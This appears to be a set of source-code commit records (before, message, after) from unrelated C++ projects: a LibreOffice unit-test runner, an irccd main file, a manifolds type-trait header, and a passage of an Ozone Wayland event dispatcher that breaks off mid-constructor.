multi-platform office productivity suite\n*\n* This file is part of OpenOffice.org.\n*\n* OpenOffice.org is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU Lesser General Public License version 3\n* only, as published by the Free Software Foundation.\n*\n* OpenOffice.org is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU Lesser General Public License version 3 for more details\n* (a copy is included in the LICENSE file that accompanied this code).\n*\n* You should have received a copy of the GNU Lesser General Public License\n* version 3 along with OpenOffice.org. If not, see\n* <http:\/\/www.openoffice.org\/license.html>\n* for a copy of the LGPLv3 License.\n*\n************************************************************************\/\n\n#include \"precompiled_sal.hxx\"\n#include \"sal\/config.h\"\n#include \"sal\/precppunit.hxx\"\n\n#ifdef WNT\n#include <windows.h>\n#endif\n\n#include <cstdlib>\n#include <iostream>\n#include <limits>\n#include <string>\n#include \"cppunittester\/protectorfactory.hxx\"\n#include \"osl\/module.h\"\n#include \"osl\/module.hxx\"\n#include \"osl\/thread.h\"\n#include \"rtl\/process.h\"\n#include \"rtl\/string.h\"\n#include \"rtl\/string.hxx\"\n#include \"rtl\/textcvt.h\"\n#include \"rtl\/ustring.hxx\"\n#include \"sal\/main.h\"\n#include \"sal\/types.h\"\n\n#include \"cppunit\/CompilerOutputter.h\"\n#include \"cppunit\/TestResult.h\"\n#include \"cppunit\/TestResultCollector.h\"\n#include \"cppunit\/TestRunner.h\"\n#include \"cppunit\/extensions\/TestFactoryRegistry.h\"\n#include \"cppunit\/plugin\/PlugInManager.h\"\n#include \"cppunit\/portability\/Stream.h\"\n\n#include \"boost\/noncopyable.hpp\"\n#include \"boost\/ptr_container\/ptr_vector.hpp\"\n\nnamespace {\n\nvoid usageFailure() {\n std::cerr\n << (\"Usage: cppunittester (--protector <shared-library-path>\"\n \" <function-symbol>)* <shared-library-path>\")\n << std::endl;\n std::exit(EXIT_FAILURE);\n}\n\nrtl::OUString getArgument(sal_Int32 index) {\n rtl::OUString arg;\n rtl_getAppCommandArg(index, &arg.pData);\n return arg;\n}\n\nstd::string convertLazy(rtl::OUString const & s16) {\n rtl::OString s8(rtl::OUStringToOString(s16, osl_getThreadTextEncoding()));\n return std::string(\n s8.getStr(),\n ((static_cast< sal_uInt32 >(s8.getLength())\n > (std::numeric_limits< std::string::size_type >::max)())\n ? (std::numeric_limits< std::string::size_type >::max)()\n : static_cast< std::string::size_type >(s8.getLength())));\n}\n\n\/\/Output how long each test took\nclass TimingListener\n : public CppUnit::TestListener\n , private boost::noncopyable\n{\npublic:\n void startTest( CppUnit::Test *)\n {\n m_nStartTime = osl_getGlobalTimer();\n }\n\n void endTest( CppUnit::Test *test )\n {\n sal_uInt32 nEndTime = osl_getGlobalTimer();\n std::cout << test->getName() << \": \" << nEndTime-m_nStartTime\n << \"ms\" << std::endl;\n }\n\nprivate:\n sal_uInt32 m_nStartTime;\n};\n\n\/\/Allow the whole uniting testing framework to be run inside a \"Protector\"\n\/\/which knows about uno exceptions, so it can print the content of the\n\/\/exception before falling over and dying\nclass CPPUNIT_API ProtectedFixtureFunctor\n : public CppUnit::Functor\n , private boost::noncopyable\n{\nprivate:\n const std::string &testlib;\n const std::string &args;\n CppUnit::TestResult &result;\npublic:\n ProtectedFixtureFunctor(const std::string& testlib_, const std::string &args_, CppUnit::TestResult &result_)\n : testlib(testlib_)\n , args(args_)\n , result(result_)\n {\n }\n bool run() const\n {\n CppUnit::PlugInManager manager;\n manager.load(testlib, args);\n\n CppUnit::TestRunner runner;\n runner.addTest(CppUnit::TestFactoryRegistry::getRegistry().makeTest());\n\n CppUnit::TestResultCollector collector;\n result.addListener(&collector);\n\n#ifdef TIMETESTS\n TimingListener timer;\n result.addListener(&timer);\n#endif\n\n runner.run(result);\n\n CppUnit::CompilerOutputter(&collector, CppUnit::stdCErr()).write();\n return collector.wasSuccessful();\n }\n virtual bool operator()() const\n {\n return run();\n }\n};\n\n}\n\nSAL_IMPLEMENT_MAIN() {\n#ifdef WNT\n \/\/Disable Dr-Watson in order to crash simply without popup dialogs under\n \/\/windows\n DWORD dwMode = SetErrorMode(SEM_NOGPFAULTERRORBOX);\n SetErrorMode(SEM_NOGPFAULTERRORBOX|dwMode);\n#ifdef _DEBUG \/\/ These functions are present only in the debgging runtime\n _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_DEBUG|_CRTDBG_MODE_FILE);\n _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDERR);\n _CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG|_CRTDBG_MODE_FILE);\n _CrtSetReportFile(_CRT_ERROR, _CRTDBG_FILE_STDERR);\n _CrtSetReportMode(_CRT_ASSERT, _CRTDBG_MODE_DEBUG|_CRTDBG_MODE_FILE);\n _CrtSetReportFile(_CRT_ASSERT, _CRTDBG_FILE_STDERR);\n#endif\n#endif\n\n CppUnit::TestResult result;\n boost::ptr_vector<osl::Module> modules;\n cppunittester::LibreOfficeProtector *throw_protector = 0;\n std::string args;\n std::string testlib;\n sal_uInt32 index = 0;\n while (index < rtl_getAppCommandArgCount())\n {\n rtl::OUString arg = getArgument(index);\n if (!arg.equalsAsciiL(RTL_CONSTASCII_STRINGPARAM(\"--protector\")))\n {\n if (testlib.empty())\n {\n testlib = rtl::OUStringToOString(arg, osl_getThreadTextEncoding()).getStr();\n args += testlib;\n }\n else\n {\n args += ' ';\n args += rtl::OUStringToOString(arg, osl_getThreadTextEncoding()).getStr();\n }\n ++index;\n continue;\n }\n if (rtl_getAppCommandArgCount() - index < 3) {\n usageFailure();\n }\n rtl::OUString lib(getArgument(index + 1));\n rtl::OUString sym(getArgument(index + 2));\n modules.push_back(new osl::Module(lib, SAL_LOADMODULE_GLOBAL));\n oslGenericFunction fn = modules.back().getFunctionSymbol(sym);\n throw_protector = fn == 0\n ? 0\n : (*reinterpret_cast< cppunittester::ProtectorFactory * >(fn))();\n if (throw_protector == 0) {\n std::cerr\n << \"Failure instantiating protector \\\"\" << convertLazy(lib)\n << \"\\\", \\\"\" << convertLazy(sym) << '\"' << std::endl;\n std::exit(EXIT_FAILURE);\n }\n result.pushProtector(throw_protector);\n index+=3;\n }\n\n bool ok = false;\n ProtectedFixtureFunctor tests(testlib, args, result);\n \/\/if the unoprotector was given on the command line, use it to catch\n \/\/and report the error message of exceptions\n if (throw_protector)\n ok = throw_protector->protect(tests);\n else\n ok = tests.run();\n\n return ok ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n*\n* Copyright 2010 by Sun Microsystems, Inc.\n*\n* OpenOffice.org - a multi-platform office productivity suite\n*\n* This file is part of OpenOffice.org.\n*\n* OpenOffice.org is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU Lesser General Public License version 3\n* only, as published by the Free Software Foundation.\n*\n* OpenOffice.org is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU Lesser General Public License version 3 for more details\n* (a copy is included in the LICENSE file that accompanied this code).\n*\n* You should have received a copy of the GNU Lesser General Public License\n* version 3 along with OpenOffice.org. If not, see\n* <http:\/\/www.openoffice.org\/license.html>\n* for a copy of the LGPLv3 License.\n************************************************************************\/\n\n#include \"precompiled_sal.hxx\"\n#include \"sal\/config.h\"\n\n#include <cstdlib>\n#include <iostream>\n\n#include \"cppunit\/CompilerOutputter.h\"\n#include \"cppunit\/TestResult.h\"\n#include \"cppunit\/TestResultCollector.h\"\n#include \"cppunit\/TestRunner.h\"\n#include \"cppunit\/extensions\/TestFactoryRegistry.h\"\n#include \"cppunit\/plugin\/PlugInManager.h\"\n#include \"cppunit\/portability\/Stream.h\"\n#include \"osl\/thread.h\"\n#include \"rtl\/process.h\"\n#include \"rtl\/string.hxx\"\n#include \"rtl\/ustring.hxx\"\n#include \"sal\/main.h\"\n\nSAL_IMPLEMENT_MAIN() {\n if (rtl_getAppCommandArgCount() != 1) {\n std::cerr << \"Usage: cppunittest <shared-library-path>\" << std::endl;\n return EXIT_FAILURE;\n }\n rtl::OUString path;\n rtl_getAppCommandArg(0, &path.pData);\n CppUnit::PlugInManager manager;\n manager.load(\n rtl::OUStringToOString(path, osl_getThreadTextEncoding()).getStr());\n CppUnit::TestRunner runner;\n runner.addTest(CppUnit::TestFactoryRegistry::getRegistry().makeTest());\n CppUnit::TestResult result;\n CppUnit::TestResultCollector collector;\n result.addListener(&collector);\n runner.run(result);\n CppUnit::CompilerOutputter(&collector, CppUnit::stdCErr()).write();\n return collector.wasSuccessful() ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n<commit_msg>sb118: typo<commit_after>\/*************************************************************************\n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n*\n* Copyright 2010 by Sun Microsystems, Inc.\n*\n* OpenOffice.org - a multi-platform office productivity suite\n*\n* This file is part of OpenOffice.org.\n*\n* OpenOffice.org is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU Lesser General Public License version 3\n* only, as published by the Free Software Foundation.\n*\n* OpenOffice.org is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU Lesser General Public License version 3 for more details\n* (a copy is included in the LICENSE file that accompanied this code).\n*\n* You should have received a copy of the GNU Lesser General Public License\n* version 3 along with OpenOffice.org. If not, see\n* <http:\/\/www.openoffice.org\/license.html>\n* for a copy of the LGPLv3 License.\n************************************************************************\/\n\n#include \"precompiled_sal.hxx\"\n#include \"sal\/config.h\"\n\n#include <cstdlib>\n#include <iostream>\n\n#include \"cppunit\/CompilerOutputter.h\"\n#include \"cppunit\/TestResult.h\"\n#include \"cppunit\/TestResultCollector.h\"\n#include \"cppunit\/TestRunner.h\"\n#include \"cppunit\/extensions\/TestFactoryRegistry.h\"\n#include \"cppunit\/plugin\/PlugInManager.h\"\n#include \"cppunit\/portability\/Stream.h\"\n#include \"osl\/thread.h\"\n#include \"rtl\/process.h\"\n#include \"rtl\/string.hxx\"\n#include \"rtl\/ustring.hxx\"\n#include \"sal\/main.h\"\n\nSAL_IMPLEMENT_MAIN() {\n if (rtl_getAppCommandArgCount() != 1) {\n std::cerr << \"Usage: cppunittester <shared-library-path>\" << std::endl;\n return EXIT_FAILURE;\n }\n rtl::OUString path;\n rtl_getAppCommandArg(0, &path.pData);\n CppUnit::PlugInManager manager;\n manager.load(\n rtl::OUStringToOString(path, osl_getThreadTextEncoding()).getStr());\n CppUnit::TestRunner runner;\n runner.addTest(CppUnit::TestFactoryRegistry::getRegistry().makeTest());\n CppUnit::TestResult result;\n CppUnit::TestResultCollector collector;\n result.addListener(&collector);\n runner.run(result);\n CppUnit::CompilerOutputter(&collector, CppUnit::stdCErr()).write();\n return collector.wasSuccessful() ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * main.cpp -- irccd main file\n *\n * Copyright (c) 2013, 2014, 2015 David Demelier <markand@malikania.fr>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <iostream>\n#include <chrono>\n\n#include <js\/Js.h>\n\nusing namespace std::chrono_literals;\n\nstd::atomic<bool> g_running{true};\n\nvoid quit(int)\n{\n\tg_running = false;\n}\n\nint main(void)\n{\n\tduk_context *ctx = duk_create_heap_default();\n\tduk_push_c_function(ctx, dukopen_filesystem, 0);\n\tduk_call(ctx, 0);\n\tduk_put_global_string(ctx, \"fs\");\n\tirccd::ServerSettings settings;\n\n\tif (duk_peval_file(ctx, \"test.js\") != 0) {\n\t\tprintf(\"%s\\n\", duk_safe_to_string(ctx, -1));\n\tinfo.port = 6667;\n\n\tsettings.recotimeout = 3;\n\tsettings.channels = {\n\t\t{ \"#staff\", \"\" },\n\t\t{ \"#test\", \"\" }\n\t};\n\n\tsmanager.add(std::move(info), irccd::Identity(), std::move(settings));\n\n\twhile (g_running) {\n\t}\n\n\tduk_destroy_heap(ctx);\n\n\tprintf(\"Quitting...\\n\");\n\n\treturn 0;\n}\n\n\n\n\n\n\n\n\n\n\n#if 0\n#include <cstdlib>\n#include <cstring>\n\n#include <signal.h>\n\n#include <Logger.h>\n\n#include \"Irccd.h\"\n#include \"Test.h\"\n#include \"PluginManager.h\"\n\nusing namespace irccd;\nusing namespace std;\n\nnamespace {\n\nvoid quit(int)\n{\n\tIrccd::instance().shutdown();\n\tIrccd::instance().stop();\n}\n\nvoid usage()\n{\n\tLogger::warn(\"usage: %s [-fv] [-c config] [-p pluginpath] [-P plugin]\", getprogname());\n\tLogger::fatal(1, \" %s test plugin.lua [command] [parameters...]\", getprogname());\n}\n\n} \/\/ !namespace\n\nint main(int argc, char **argv)\n{\n\tIrccd &irccd = Irccd::instance();\n\tint ch;\n\n\tsetprogname(\"irccd\");\n\tatexit([] () {\n\t\tquit(0);\n\t});\n\n\tirccd.initialize();\n\n\twhile ((ch = getopt(argc, argv, \"fc:p:P:v\")) != -1) {\n\t\tswitch (ch) {\n\t\tcase 'c':\n\t\t\tirccd.setConfigPath(string(optarg));\n\t\t\tirccd.override(Options::Config);\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tirccd.setForeground(true);\n\t\t\tirccd.override(Options::Foreground);\n\t\t\tbreak;\n\t\tcase 'p':\n#if defined(WITH_LUA)\n\t\t\tPluginManager::instance().addPath(string(optarg));\n#endif\n\t\t\tbreak;\n\t\tcase 'P':\n\t\t\tirccd.deferPlugin(string(optarg));\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tLogger::setVerbose(true);\n\t\t\tirccd.override(Options::Verbose);\n\t\t\tbreak;\n\t\tcase '?':\n\t\tdefault:\n\t\t\tusage();\n\t\t\t\/\/ NOTREACHED\n\t\t}\n\t}\n\targc -= optind;\n\targv += optind;\n\n\tif (argc > 0) {\n\t\tif (strcmp(argv[0], \"test\") == 0) {\n#if defined(WITH_LUA)\n\t\t\ttest(argc, argv);\n\t\t\t\/\/ NOTREACHED\n#else\n\t\t\tLogger::fatal(1, \"irccd: Lua support is disabled\");\n#endif\n\t\t}\n\n\t\tif (strcmp(argv[0], \"version\") == 0) {\n\t\t\tLogger::setVerbose(true);\n\t\t\tLogger::log(\"irccd version %s\", VERSION);\n\t\t\tLogger::log(\"Copyright (c) 2013, 2014, 2015 David Demelier <markand@malikania.fr>\");\n\t\t\tLogger::log(\"\");\n\t\t\tLogger::log(\"Irccd is a customizable IRC bot daemon compatible with Lua plugins\");\n\t\t\tLogger::log(\"to fit your needs.\");\n\t\t\tLogger::log(\"\");\n\n#if defined(WITH_LUA)\n\t\t\tauto enabled = \"enabled\";\n#else\n\t\t\tauto enabled = \"disabled\";\n#endif\n\t\t\tLogger::log(\"* Lua support is %s\", enabled);\n\t\t\tstd::exit(0);\n\t\t}\n\t}\n\n\tsignal(SIGINT, quit);\n\tsignal(SIGTERM, quit);\n\n#if defined(SIGQUIT)\n\tsignal(SIGQUIT, quit);\n#endif\n\n\treturn irccd.run();\n}\n\n#endif\n<commit_msg>Update main.<commit_after>\/*\n * main.cpp -- irccd main file\n *\n * Copyright (c) 2013, 2014, 2015 David Demelier <markand@malikania.fr>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <iostream>\n#include <chrono>\n\n#include <js\/Js.h>\n\nint main(void)\n{\n\tduk_context *ctx = duk_create_heap_default();\n\tduk_push_c_function(ctx, dukopen_filesystem, 0);\n\tduk_call(ctx, 0);\n\tduk_put_global_string(ctx, \"fs\");\n\n\tif (duk_peval_file(ctx, \"test.js\") != 0) {\n\t\tprintf(\"%s\\n\", duk_safe_to_string(ctx, -1));\n\n\tduk_destroy_heap(ctx);\n\n\treturn 0;\n}\n\n\n\n\n\n\n\n\n\n\n#if 0\n#include <cstdlib>\n#include <cstring>\n\n#include <signal.h>\n\n#include <Logger.h>\n\n#include \"Irccd.h\"\n#include \"Test.h\"\n#include \"PluginManager.h\"\n\nusing namespace irccd;\nusing namespace std;\n\nnamespace {\n\nvoid quit(int)\n{\n\tIrccd::instance().shutdown();\n\tIrccd::instance().stop();\n}\n\nvoid usage()\n{\n\tLogger::warn(\"usage: %s [-fv] [-c config] [-p pluginpath] [-P plugin]\", getprogname());\n\tLogger::fatal(1, \" %s test plugin.lua [command] [parameters...]\", getprogname());\n}\n\n} \/\/ !namespace\n\nint main(int argc, char **argv)\n{\n\tIrccd &irccd = Irccd::instance();\n\tint ch;\n\n\tsetprogname(\"irccd\");\n\tatexit([] () {\n\t\tquit(0);\n\t});\n\n\tirccd.initialize();\n\n\twhile ((ch = getopt(argc, argv, \"fc:p:P:v\")) != -1) {\n\t\tswitch (ch) {\n\t\tcase 'c':\n\t\t\tirccd.setConfigPath(string(optarg));\n\t\t\tirccd.override(Options::Config);\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tirccd.setForeground(true);\n\t\t\tirccd.override(Options::Foreground);\n\t\t\tbreak;\n\t\tcase 'p':\n#if defined(WITH_LUA)\n\t\t\tPluginManager::instance().addPath(string(optarg));\n#endif\n\t\t\tbreak;\n\t\tcase 'P':\n\t\t\tirccd.deferPlugin(string(optarg));\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tLogger::setVerbose(true);\n\t\t\tirccd.override(Options::Verbose);\n\t\t\tbreak;\n\t\tcase '?':\n\t\tdefault:\n\t\t\tusage();\n\t\t\t\/\/ NOTREACHED\n\t\t}\n\t}\n\targc -= optind;\n\targv += optind;\n\n\tif (argc > 0) {\n\t\tif (strcmp(argv[0], \"test\") == 0) {\n#if defined(WITH_LUA)\n\t\t\ttest(argc, argv);\n\t\t\t\/\/ NOTREACHED\n#else\n\t\t\tLogger::fatal(1, \"irccd: Lua support is disabled\");\n#endif\n\t\t}\n\n\t\tif (strcmp(argv[0], \"version\") == 0) {\n\t\t\tLogger::setVerbose(true);\n\t\t\tLogger::log(\"irccd version %s\", VERSION);\n\t\t\tLogger::log(\"Copyright (c) 2013, 2014, 2015 David Demelier <markand@malikania.fr>\");\n\t\t\tLogger::log(\"\");\n\t\t\tLogger::log(\"Irccd is a customizable IRC bot daemon compatible with Lua plugins\");\n\t\t\tLogger::log(\"to fit your needs.\");\n\t\t\tLogger::log(\"\");\n\n#if defined(WITH_LUA)\n\t\t\tauto enabled = \"enabled\";\n#else\n\t\t\tauto enabled = \"disabled\";\n#endif\n\t\t\tLogger::log(\"* Lua support is %s\", enabled);\n\t\t\tstd::exit(0);\n\t\t}\n\t}\n\n\tsignal(SIGINT, quit);\n\tsignal(SIGTERM, quit);\n\n#if defined(SIGQUIT)\n\tsignal(SIGQUIT, quit);\n#endif\n\n\treturn irccd.run();\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef MANIFOLDS_FUNCTIONS_IS_FUNCTION_HH\n#define MANIFOLDS_FUNCTIONS_IS_FUNCTION_HH\n\n#include \"function.hh\"\n#include <type_traits>\n#include <utility>\n#include <tuple>\n\nnamespace manifolds {\n \/\/For now just test whether first function is a function\n template <class Func>\n struct is_function\n {\n\n typedef typename std::remove_cv<\n typename std::remove_reference<\n\tFunc>::type\n >::type F;\n typedef std::integral_constant<\n bool,\n std::is_base_of<\n\tFunction, F>::value ||\n std::is_base_of<\n\tMultiFunction, F>::value> type;\n\n static const bool value = type::value;\n };\n\n template <class T>\n struct is_tuple: std::false_type{};\n\n template <class ... Args>\n struct is_tuple<std::tuple<Args...>>:\n std::true_type{};\n}\n\n#endif\n<commit_msg>Changed meta-function to accomodate new Function format, namely that function is now a template<commit_after>#ifndef MANIFOLDS_FUNCTIONS_IS_FUNCTION_HH\n#define MANIFOLDS_FUNCTIONS_IS_FUNCTION_HH\n\n#include \"function.hh\"\n#include <type_traits>\n#include <utility>\n#include <tuple>\n\nnamespace manifolds {\n \/\/For now just test whether first function is a function\n template <class F>\n std::true_type is_function_helper(int,int_<F::input_dim> =\n\t\t\t\t int_<F::input_dim>(),\n\t\t\t\t int_<F::output_dim> =\n\t\t\t\t int_<F::output_dim>(),\n\t\t\t\t bool_<F::stateless> =\n\t\t\t\t bool_<F::stateless>(),\n\t\t\t\t bool_<F::abelian_arithmetic> =\n\t\t\t\t bool_<F::abelian_arithmetic>());\n template <class>\n std::false_type is_function_helper(long);\n\n template <class F>\n using is_function =\n decltype(is_function_helper<F>(0));\n\n template <class T>\n struct is_tuple: std::false_type{};\n\n template <class ... Args>\n struct is_tuple<std::tuple<Args...>>:\n std::true_type{};\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ozone\/wayland\/dispatcher.h\"\n\n#include \"ozone\/wayland\/display.h\"\n#include \"ozone\/wayland\/input\/kbd_conversion.h\"\n#include \"base\/bind.h\"\n#include \"base\/message_loop\/message_pump_ozone.h\"\n#include \"content\/child\/child_thread.h\"\n#include \"content\/child\/child_process.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n#include <sys\/epoll.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <wayland-client.h>\n\nnamespace {\n\ncontent::ChildThread* GetProcessMainThread()\n{\n content::ChildProcess* process = content::ChildProcess::current();\n DCHECK(process);\n DCHECK(process->main_thread());\n return process ? process->main_thread() : NULL;\n}\n\n}\n\nnamespace ozonewayland {\nWaylandDispatcher* WaylandDispatcher::instance_ = NULL;\n\n\/\/ os-compatibility\nextern \"C\" {\nint osEpollCreateCloExec(void);\n\nstatic int setCloExecOrClose(int fd)\n{\n long flags;\n\n if (fd == -1)\n return -1;\n\n flags = fcntl(fd, F_GETFD);\n if (flags == -1)\n goto err;\n\n if (fcntl(fd, F_SETFD, flags | FD_CLOEXEC) == -1)\n goto err;\n\n return fd;\n\nerr:\n close(fd);\n return -1;\n}\n\nint osEpollCreateCloExec(void)\n{\n int fd;\n\n#ifdef EPOLL_CLOEXEC\n fd = epoll_create1(EPOLL_CLOEXEC);\n if (fd >= 0)\n return fd;\n if (errno != EINVAL)\n return -1;\n#endif\n\n fd = epoll_create(1);\n return setCloExecOrClose(fd);\n}\n\n} \/\/ os-compatibility\n\nvoid WaylandDispatcher::MotionNotify(float x, float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::SendMotionNotify, x, y));\n } else {\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(ui::ET_MOUSE_MOVED,\n gfx::Point(x, y),\n gfx::Point(x, y),\n 0));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::ButtonNotify(unsigned handle,\n int state,\n int flags,\n float x,\n float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendButtonNotify,\n handle, state, flags, x, y));\n } else {\n ui::EventType type;\n if (state == 1)\n type = ui::ET_MOUSE_PRESSED;\n else\n type = ui::ET_MOUSE_RELEASED;\n\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(type,\n gfx::Point(x, y),\n gfx::Point(x, y),\n flags));\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::NotifyButtonPress, this, handle));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::AxisNotify(float x, float y, float xoffset, float yoffset)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendAxisNotify,\n x, y, xoffset, yoffset));\n } else {\n ui::MouseEvent mouseev(\n ui::ET_MOUSEWHEEL,\n gfx::Point(x,y),\n gfx::Point(x,y),\n 0);\n\n scoped_ptr<ui::MouseWheelEvent> wheelev(\n new ui::MouseWheelEvent(mouseev,\n xoffset,\n yoffset));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n wheelev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::PointerEnter(unsigned handle, float x, float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendPointerEnter,\n handle, x, y));\n } else {\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(ui::ET_MOUSE_ENTERED,\n gfx::Point(x, y),\n gfx::Point(x, y),\n handle));\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::NotifyPointerEnter, this, handle));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::PointerLeave(unsigned handle, float x, float y)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendPointerLeave,\n handle, x, y));\n } else {\n scoped_ptr<ui::MouseEvent> mouseev(\n new ui::MouseEvent(ui::ET_MOUSE_EXITED,\n gfx::Point(x, y),\n gfx::Point(x, y),\n 0));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::NotifyPointerLeave, this, handle));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n mouseev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::KeyNotify(unsigned state, unsigned code,\n unsigned modifiers)\n{\n if (epoll_fd_) {\n if (!running)\n return;\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::SendKeyNotify,\n state, code, modifiers));\n } else {\n ui::EventType type;\n if (state)\n type = ui::ET_KEY_PRESSED;\n else\n type = ui::ET_KEY_RELEASED;\n\n scoped_ptr<ui::KeyEvent> keyev(\n new ui::KeyEvent(type,\n KeyboardCodeFromXKeysym(code),\n 0,\n true));\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::DispatchEventHelper, base::Passed(\n keyev.PassAs<ui::Event>())));\n }\n}\n\nvoid WaylandDispatcher::OutputSizeChanged(unsigned width, unsigned height)\n{\n if (!running || !epoll_fd_)\n return;\n\n PostTaskOnMainLoop(FROM_HERE, base::Bind(\n &WaylandDispatcher::SendOutputSizeChanged, width, height));\n}\n\nvoid WaylandDispatcher::PostTask(Task type)\n{\n if (!IsRunning() || ignore_task_)\n return;\n\n switch (type) {\n case (Flush):\n message_loop_proxy()->PostTask(\n FROM_HERE, base::Bind(&WaylandDispatcher::HandleFlush));\n break;\n case (Poll):\n if (epoll_fd_) {\n loop_ = base::MessageLoop::current();\n if (!running)\n message_loop_proxy()->PostTask(FROM_HERE, base::Bind(\n &WaylandDispatcher::DisplayRun, this));\n }\n default:\n break;\n }\n}\n\nvoid WaylandDispatcher::DispatchEvent(scoped_ptr<ui::Event> event) {\n PostTaskOnMainLoop(FROM_HERE, base::Bind(&WaylandDispatcher::DispatchEventHelper,\n base::Passed(&event)));\n}\n\nvoid WaylandDispatcher::PostTaskOnMainLoop(\n const tracked_objects::Location& from_here, const base::Closure& task)\n{\n if (ignore_task_ || !IsRunning() || !loop_)\n return;\n\n loop_->message_loop_proxy()->PostTask(from_here, task);\n}\n\nWaylandDispatcher::WaylandDispatcher(int fd)\n : Thread(\"WaylandDispatcher\"),\n ignore_task_(false),\n running(false),\n epoll_fd_(0),\n display_fd_(fd),\n 